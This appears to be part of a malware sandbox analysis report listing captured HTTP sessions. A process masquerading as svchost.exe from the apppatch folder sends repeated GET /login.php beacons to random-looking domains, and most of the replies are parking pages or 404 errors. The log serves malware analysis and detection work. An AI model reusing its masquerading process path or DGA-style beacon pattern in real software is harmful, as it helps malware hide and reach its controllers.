Nov 11, 2024 18:50:48.810888052 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:50:48 GMT content-type: text/html; charset=utf-8 content-length: 1094 x-request-id: 409f526f-1eb8-4a43-8c10-fa625dad446a cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ== set-cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723; expires=Mon, 11 Nov 2024 18:05:48 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
Nov 11, 2024 18:50:48.810992002 CET	520	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMWU4OTBhNzMtYWMzYi00MmQwLTgwNmYtMzk3MjVmYTRiNzIzIiwicGFnZV90aW1lIjoxNzMxMzQ3NDQ4LCJwYWdlX3VybCI6Imh0dHA6L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	54642	23.253.46.64	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:48.371059895 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Nov 11, 2024 18:50:48.826980114 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Mon, 11 Nov 2024 17:50:43 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Nov 11, 2024 18:50:48.826992035 CET	169	IN	Data Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	54643	85.17.31.122	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:48.385489941 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	54644	75.2.71.199	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:48.389873028 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Nov 11, 2024 18:50:48.845155001 CET	166	IN	HTTP/1.1 308 Permanent Redirect Connection: close Location: https://puzylyp.com/login.php Server: Caddy Date: Mon, 11 Nov 2024 17:50:48 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	54646	85.17.31.122	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:48.867609978 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	54648	23.253.46.64	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:48.890130043 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Nov 11, 2024 18:50:49.343508005 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Mon, 11 Nov 2024 17:50:43 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Nov 11, 2024 18:50:49.343521118 CET	169	IN	Data Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	54724	103.224.212.210	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:58.165591002 CET	277	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyxynyx.com Cookie: __tad=1731347439.3564880
Nov 11, 2024 18:50:58.867031097 CET	244	IN	HTTP/1.1 302 Found date: Mon, 11 Nov 2024 17:50:58 GMT server: Apache location: http://ww25.lyxynyx.com/login.php?subid1=20241112-0450-586c-82c6-824410e64c84 content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	54725	103.224.182.252	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:58.251365900 CET	277	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vofycot.com Cookie: __tad=1731347439.2338786
Nov 11, 2024 18:50:58.867954969 CET	242	IN	HTTP/1.1 302 Found date: Mon, 11 Nov 2024 17:50:58 GMT server: Apache location: http://ww16.vofycot.com/login.php?sub1=20241112-0450-5851-9938-0bdfa7f33a56 content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	54729	64.190.63.136	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:58.877432108 CET	348	OUT	GET /login.php?sub1=20241112-0450-5851-9938-0bdfa7f33a56 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww16.vofycot.com Connection: Keep-Alive Cookie: __tad=1731347439.2338786
Nov 11, 2024 18:50:59.519500971 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:50:59 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_2EcsfEHphYAq2SyCNUwqRKkIKLHg5prEnR1flzigjCDG+d1Dlm8tRlTPKkk5I4YSi6F4MaKhATkoCwBOfqG5aw== last-modified: Mon, 11 Nov 2024 17:50:59 GMT x-cache-miss-from: parking-7596689c44-6sm9t server: Parking/1.0 Data Raw: 38 35 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 32 45 63 73 66 45 48 70 68 59 41 71 32 53 79 43 4e 55 77 71 52 4b 6b 49 4b 4c 48 67 35 70 72 45 6e 52 31 66 6c 7a 69 67 6a 43 44 47 2b 64 31 44 6c 6d 38 74 52 6c 54 50 4b 6b 6b 35 49 34 59 53 69 36 46 34 4d 61 4b 68 41 54 6b 6f 43 77 42 4f 66 71 47 35 61 77 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 76 6f 66 79 63 6f 74 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 54 68 69 73 20 77 65 62 [TRUNCATED] Data Ascii: 858<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_2EcsfEHphYAq2SyCNUwqRKkIKLHg5prEnR1flzigjCDG+d1Dlm8tRlTPKkk5I4YSi6F4MaKhATkoCwBOfqG5aw==><head><meta charset="utf-8"><title>vofycot.com - This website is for sale! - vofycot Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="This website is for sale! vofycot.com is your first and bes
Nov 11, 2024 18:50:59.519627094 CET	1236	IN	Data Raw: 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d Data Ascii: t source for all of the information youre looking for. From general topics to more of what you would expect to find here, vofycot.com has it all. We hope you find what you are searching for!"><link rel="icon" type="image/png
Nov 11, 2024 18:50:59.519639969 CET	1236	IN	Data Raw: 69 6e 65 2d 62 6c 6f 63 6b 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f Data Ascii: ine-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}butt
Nov 11, 2024 18:50:59.520042896 CET	1236	IN	Data Raw: 74 74 6f 6e 3b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 7d 64 65 74 61 69 6c 73 2c 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70 Data Ascii: tton;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.anno
Nov 11, 2024 18:50:59.520056963 CET	1236	IN	Data Raw: 20 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65 72 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 Data Ascii: a{font-size:10px}.container-disclaimer__content-text{color:#949494}.container-disclaimer a{color:#949494}.container-imprint{text-align:center}.container-imprint__content{display:inline-block}.container-imprint__content-text,.container-imprint
Nov 11, 2024 18:50:59.520466089 CET	1236	IN	Data Raw: 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 6c 61 72 67 65 72 7d 2e Data Ascii: gin-top:10px;margin-right:0px;margin-bottom:5px;margin-left:0px;font-size:larger}.container-cookie-message a{color:#fff}.cookie-modal-window{position:fixed;background-color:rgba(200,200,200,.75);top:0;right:0;bottom:0;left:0;-webkit-transition
Nov 11, 2024 18:50:59.520478964 CET	1236	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 31 38 38 33 38 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 32 31 38 38 33 38 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 7d 2e 62 74 6e 2d 2d 73 75 Data Ascii: ackground-color:#218838;border-color:#218838;color:#fff;font-size:initial}.btn--success-sm:hover{background-color:#1a6b2c;border-color:#1a6b2c;color:#fff;font-size:initial}.btn--secondary{background-color:#8c959c;border-color:#8c959c;color:#ff
Nov 11, 2024 18:50:59.520489931 CET	1236	IN	Data Raw: 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 36 70 78 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 36 70 78 29 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 65 31 36 32 Data Ascii: transform:translateX(26px);transform:translateX(26px)}body{background-color:#0e162e;font-family:Arial,Helvetica,Verdana,"Lucida Grande",sans-serif}body.cookie-message-enabled{padding-bottom:300px}.container-footer{padding-top:20px;padding-left
Nov 11, 2024 18:50:59.521085978 CET	1236	IN	Data Raw: 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 74 72 Data Ascii: ;-moz-transform:scaleX(-1);-o-transform:scaleX(-1);-webkit-transform:scaleX(-1);transform:scaleX(-1);z-index:-1}.container-content--lp{min-height:720px}.container-content--rp{width:100%;min-height:820px;margin:0}.container-content--twot{min-he
Nov 11, 2024 18:50:59.521099091 CET	1236	IN	Data Raw: 6e 65 7d 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 68 65 61 64 65 72 2d 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 39 66 64 38 30 Data Ascii: ne}.webarchive-block{text-align:center}.webarchive-block__header-link{color:#9fd801;font-size:20px}.webarchive-block__list{padding:0}.webarchive-block__list-element{word-wrap:break-word;list-style:none}.webarchive-block__list-element-link{line
Nov 11, 2024 18:50:59.531991959 CET	1236	IN	Data Raw: 34 59 53 69 36 46 34 4d 61 4b 68 41 54 6b 6f 43 77 42 4f 66 71 47 35 61 77 3d 3d 22 2c 22 74 69 64 22 3a 22 33 30 39 37 22 2c 22 62 75 79 62 6f 78 22 3a 74 72 75 65 2c 22 62 75 79 62 6f 78 54 6f 70 69 63 22 3a 74 72 75 65 2c 22 64 69 73 63 6c 61 Data Ascii: 4YSi6F4MaKhATkoCwBOfqG5aw==","tid":"3097","buybox":true,"buyboxTopic":true,"disclaimer":true,"imprint":false,"searchbox":true,"noFollow":false,"slsh":false,"ppsh":true,"dnhlsh":true,"toSellUrl":"https://sedo.com/search/details/?partnerid=14460

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	54730	199.59.243.227	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:58.888362885 CET	404	OUT	GET /login.php?subid1=20241112-0450-586c-82c6-824410e64c84 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww25.lyxynyx.com Connection: Keep-Alive Cookie: __tad=1731347439.3564880; parking_session=b097eaca-ea1a-4a8d-8bee-a2968c7eba7b
Nov 11, 2024 18:50:59.314130068 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:50:58 GMT content-type: text/html; charset=utf-8 content-length: 1230 x-request-id: 961815cc-8c8d-41a4-b210-66bae6edcecb cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_gxX4uwSvW7ewWmeXquExbzweJwJXh6Dt0wdaPig23rcdoLc2tYdGy8xZNu9R4HNw0iexKGT3ftFy2kzvnVUpYw== set-cookie: parking_session=b097eaca-ea1a-4a8d-8bee-a2968c7eba7b; expires=Mon, 11 Nov 2024 18:05:59 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 67 78 58 34 75 77 53 76 57 37 65 77 57 6d 65 58 71 75 45 78 62 7a 77 65 4a 77 4a 58 68 36 44 74 30 77 64 61 50 69 67 32 33 72 63 64 6f 4c 63 32 74 59 64 47 79 38 78 5a 4e 75 39 52 34 48 4e 77 30 69 65 78 4b 47 54 33 66 74 46 79 32 6b 7a 76 6e 56 55 70 59 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html 